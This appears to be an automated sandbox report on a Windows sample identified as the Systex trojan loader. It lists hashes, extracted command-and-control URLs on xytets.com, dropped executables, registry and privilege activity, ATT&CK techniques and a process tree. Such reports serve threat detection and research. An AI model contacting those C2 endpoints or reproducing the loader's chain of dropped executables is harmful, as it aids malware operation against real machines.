systex | 4ea47011462d4f564a25c77c0653e93360ad5138327d2028c7a2ea8aee79dda2

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 10:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Size 376KB
Sample260718-m1dfvact4w
SHA256 4ea47011462d4f564a25c77c0653e93360ad5138327d2028c7a2ea8aee79dda2
MD5 88e3d62328d4b60175fd831ec3fc32af
SHA1 148785c8266ba8bd16b51d7745becc492e58d9e4
SHA512 e2f483c90d7274fcc55cf2416afe116a1a9b773f8cd8d4793554d433e4e143dfcc23d2b4852270d1782d549ff3533fc16c2346105b3a289794d53344f3f53415
SSDEEP 3072:OFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:OFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1C9847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
2212	wqojgbztrljdbwto.exe
3016	wqojgbztrljdbwto.sys
2824	CreateProcess.exe
5972	bwtrljbywo.exe
5760	CreateProcess.exe
4208	CreateProcess.exe
3748	i_bwtrljbywo.exe
3356	trljdbwtom.sys
4412	CreateProcess.exe
2292	bytqljdayw.exe
3028	CreateProcess.exe
2784	CreateProcess.exe
4288	i_bytqljdayw.exe
1364	nlgdywqolf.sys
1308	CreateProcess.exe
3224	idbytqlidb.exe
4368	CreateProcess.exe
3120	CreateProcess.exe
2492	i_idbytqlidb.exe
244	ayvpnifayv.sys
4200	CreateProcess.exe
4472	xvpnifaysq.exe
3288	CreateProcess.exe
4404	CreateProcess.exe
4628	i_xvpnifaysq.exe
3500	hfzxspkhfa.sys
4104	CreateProcess.exe
5332	xusqkhfdxu.exe
4672	CreateProcess.exe
1188	CreateProcess.exe
2148	i_xusqkhfdxu.exe
3084	xspkhcausm.sys
5844	CreateProcess.exe
4156	kecxusnhfc.exe
5876	CreateProcess.exe
5340	CreateProcess.exe
3512	i_kecxusnhfc.exe
3532	mkecxupmke.sys
5820	CreateProcess.exe
2184	mkecaurpjh.exe
3448	CreateProcess.exe
968	CreateProcess.exe
2100	i_mkecaurpjh.exe
3328	mjhbzwurmj.sys
2532	CreateProcess.exe
5848	omjecwurmk.exe
5796	CreateProcess.exe
2656	CreateProcess.exe
3236	i_omjecwurmk.exe
204	wrojgbztrl.sys
3572	CreateProcess.exe
5392	mjebwuomge.exe
4836	CreateProcess.exe
4296	CreateProcess.exe
1256	i_mjebwuomge.exe
2424	geywtomgeb.sys
4432	CreateProcess.exe
5432	wqoigeytqo.exe
3844	CreateProcess.exe
2180	CreateProcess.exe
4212	i_wqoigeytqo.exe
4520	gaytqlidby.sys
3064	CreateProcess.exe
2632	dbvtnlgayw.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1084_1624272538\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1084_1046270911\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1084_911524601\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1084_911524601\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1084_911524601\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1084_1046270911\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1084_1725752814\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1084_1725752814\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1084_911524601\llm_user_input_extractor_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bywtojgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtnlgayw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bywtojgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwtrljbywo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xusqkhfdxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kecxusnhfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkhcausmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtnlgayw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idbytqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkecaurpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omjecwurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wqoigeytqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hcaxspkhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkecwusmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqojgbztrljdbwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bytqljdayw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkecaurpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mjebwuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hcaxspkhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkecwusmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwuomgezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idbytqlidb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqoigeytqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pkhcausmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigdyvtolj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lidyvqoiga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkicausqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebwuomgezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqkigdbvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkicausqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bytqljdayw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omjecwurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mjebwuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigdyvtolj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwtrljbywo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xusqkhfdxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kecxusnhfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqkigdbvs.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3420	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3868	ipconfig.exe
4948	ipconfig.exe
428	ipconfig.exe
5968	ipconfig.exe
1228	ipconfig.exe
2928	ipconfig.exe
2528	ipconfig.exe
4252	ipconfig.exe
2620	ipconfig.exe
3540	ipconfig.exe
6004	ipconfig.exe
1628	ipconfig.exe
2496	ipconfig.exe
2084	ipconfig.exe
4844	ipconfig.exe
1396	ipconfig.exe
3416	ipconfig.exe
4500	ipconfig.exe
4344	ipconfig.exe
1944	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134288457427292477"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-189034102-168398478-1159367937-1000\{813AA8A3-E76A-4ECA-BC12-2AD8BFAA4DC4}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
2212	wqojgbztrljdbwto.exe
2212	wqojgbztrljdbwto.exe
2212	wqojgbztrljdbwto.exe
2212	wqojgbztrljdbwto.exe
2212	wqojgbztrljdbwto.exe
2212	wqojgbztrljdbwto.exe
2212	wqojgbztrljdbwto.exe
2212	wqojgbztrljdbwto.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1084	msedge.exe
1084	msedge.exe
1084	msedge.exe
1084	msedge.exe
1084	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	3748	i_bwtrljbywo.exe
Token: SeDebugPrivilege	4288	i_bytqljdayw.exe
Token: SeDebugPrivilege	2492	i_idbytqlidb.exe
Token: SeDebugPrivilege	4628	i_xvpnifaysq.exe
Token: SeDebugPrivilege	2148	i_xusqkhfdxu.exe
Token: SeDebugPrivilege	3512	i_kecxusnhfc.exe
Token: SeDebugPrivilege	2100	i_mkecaurpjh.exe
Token: SeDebugPrivilege	3236	i_omjecwurmk.exe
Token: SeDebugPrivilege	1256	i_mjebwuomge.exe
Token: SeDebugPrivilege	4212	i_wqoigeytqo.exe
Token: SeDebugPrivilege	2016	i_dbvtnlgayw.exe
Token: SeDebugPrivilege	4684	i_ysqkigdbvs.exe
Token: SeDebugPrivilege	8	i_sqkicausqk.exe
Token: SeDebugPrivilege	3416	i_hcaxspkhca.exe
Token: SeDebugPrivilege	1228	i_pkhcausmke.exe
Token: SeDebugPrivilege	5052	i_mkecwusmke.exe
Token: SeDebugPrivilege	6016	i_ebwuomgezw.exe
Token: SeDebugPrivilege	5196	i_bywtojgeyw.exe
Token: SeDebugPrivilege	4316	i_oigdyvtolj.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1084	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4864 wrote to memory of 2212	4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 4864 wrote to memory of 5964	4864	2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 5964 wrote to memory of 1084	5964	iexplore.exe	91
PID 1084 wrote to memory of 4260	1084	msedge.exe	92
PID 1084 wrote to memory of 3420	1084	msedge.exe	93
PID 1084 wrote to memory of 952	1084	msedge.exe	94
PID 1084 wrote to memory of 2664	1084	msedge.exe	95
PID 1084 wrote to memory of 952	1084	msedge.exe	94
PID 1084 wrote to memory of 952	1084	msedge.exe	94
PID 1084 wrote to memory of 2664	1084	msedge.exe	95
PID 1084 wrote to memory of 5080	1084	msedge.exe	96
PID 1084 wrote to memory of 5080	1084	msedge.exe	96
PID 1084 wrote to memory of 5080	1084	msedge.exe	96
PID 1084 wrote to memory of 4848	1084	msedge.exe	97
PID 1084 wrote to memory of 4848	1084	msedge.exe	97
PID 1084 wrote to memory of 4848	1084	msedge.exe	97
PID 1084 wrote to memory of 1940	1084	msedge.exe	99
PID 1084 wrote to memory of 1940	1084	msedge.exe	99
PID 1084 wrote to memory of 1940	1084	msedge.exe	99
PID 1084 wrote to memory of 5764	1084	msedge.exe	100
PID 1084 wrote to memory of 5764	1084	msedge.exe	100
PID 1084 wrote to memory of 5764	1084	msedge.exe	100
PID 1084 wrote to memory of 3508	1084	msedge.exe	102
PID 1084 wrote to memory of 3508	1084	msedge.exe	102
PID 1084 wrote to memory of 3004	1084	msedge.exe	105
PID 1084 wrote to memory of 4488	1084	msedge.exe	106
PID 1084 wrote to memory of 3004	1084	msedge.exe	105
PID 1084 wrote to memory of 4488	1084	msedge.exe	106
PID 1084 wrote to memory of 5272	1084	msedge.exe	108
PID 2212 wrote to memory of 2824	2212	wqojgbztrljdbwto.exe	109
PID 1084 wrote to memory of 3224	1084	msedge.exe	111
PID 1084 wrote to memory of 3224	1084	msedge.exe	111
PID 5972 wrote to memory of 5760	5972	bwtrljbywo.exe	113
PID 1084 wrote to memory of 2060	1084	msedge.exe	116
PID 1084 wrote to memory of 2060	1084	msedge.exe	116
PID 2212 wrote to memory of 4208	2212	wqojgbztrljdbwto.exe	119
PID 2212 wrote to memory of 4412	2212	wqojgbztrljdbwto.exe	123
PID 2292 wrote to memory of 3028	2292	bytqljdayw.exe	125
PID 2212 wrote to memory of 2784	2212	wqojgbztrljdbwto.exe	128
PID 2212 wrote to memory of 1308	2212	wqojgbztrljdbwto.exe	132
PID 3224 wrote to memory of 4368	3224	idbytqlidb.exe	134
PID 2212 wrote to memory of 3120	2212	wqojgbztrljdbwto.exe	137
PID 2212 wrote to memory of 4200	2212	wqojgbztrljdbwto.exe	142
PID 4472 wrote to memory of 3288	4472	xvpnifaysq.exe	144
PID 2212 wrote to memory of 4404	2212	wqojgbztrljdbwto.exe	147
PID 1084 wrote to memory of 2600	1084	msedge.exe	149
PID 1084 wrote to memory of 2580	1084	msedge.exe	150
PID 1084 wrote to memory of 2376	1084	msedge.exe	151
PID 2212 wrote to memory of 4104	2212	wqojgbztrljdbwto.exe	154
PID 5332 wrote to memory of 4672	5332	xusqkhfdxu.exe	156
PID 2212 wrote to memory of 1188	2212	wqojgbztrljdbwto.exe	159
PID 2212 wrote to memory of 5844	2212	wqojgbztrljdbwto.exe	163
PID 4156 wrote to memory of 5876	4156	kecxusnhfc.exe	165
PID 2212 wrote to memory of 5340	2212	wqojgbztrljdbwto.exe	168
PID 2212 wrote to memory of 5820	2212	wqojgbztrljdbwto.exe	172
PID 2184 wrote to memory of 3448	2184	mkecaurpjh.exe	174
PID 2212 wrote to memory of 968	2212	wqojgbztrljdbwto.exe	177
PID 2212 wrote to memory of 2532	2212	wqojgbztrljdbwto.exe	181
PID 5848 wrote to memory of 5796	5848	omjecwurmk.exe	183
PID 2212 wrote to memory of 2656	2212	wqojgbztrljdbwto.exe	186
PID 1084 wrote to memory of 2572	1084	msedge.exe	188
PID 1084 wrote to memory of 2572	1084	msedge.exe	188
PID 2212 wrote to memory of 3572	2212	wqojgbztrljdbwto.exe	194
PID 5392 wrote to memory of 4836	5392	mjebwuomge.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-18_88e3d62328d4b60175fd831ec3fc32af_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4864
- C:\Temp\wqojgbztrljdbwto.exe
  C:\Temp\wqojgbztrljdbwto.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bwtrljbywo.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2824
  - - C:\Temp\bwtrljbywo.exe
      C:\Temp\bwtrljbywo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5972
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5760
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3868
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bwtrljbywo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4208
  - - C:\Temp\i_bwtrljbywo.exe
      C:\Temp\i_bwtrljbywo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3748
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bytqljdayw.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4412
  - - C:\Temp\bytqljdayw.exe
      C:\Temp\bytqljdayw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2292
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3028
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1396
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bytqljdayw.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2784
  - - C:\Temp\i_bytqljdayw.exe
      C:\Temp\i_bytqljdayw.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4288
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\idbytqlidb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1308
  - - C:\Temp\idbytqlidb.exe
      C:\Temp\idbytqlidb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3224
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4368
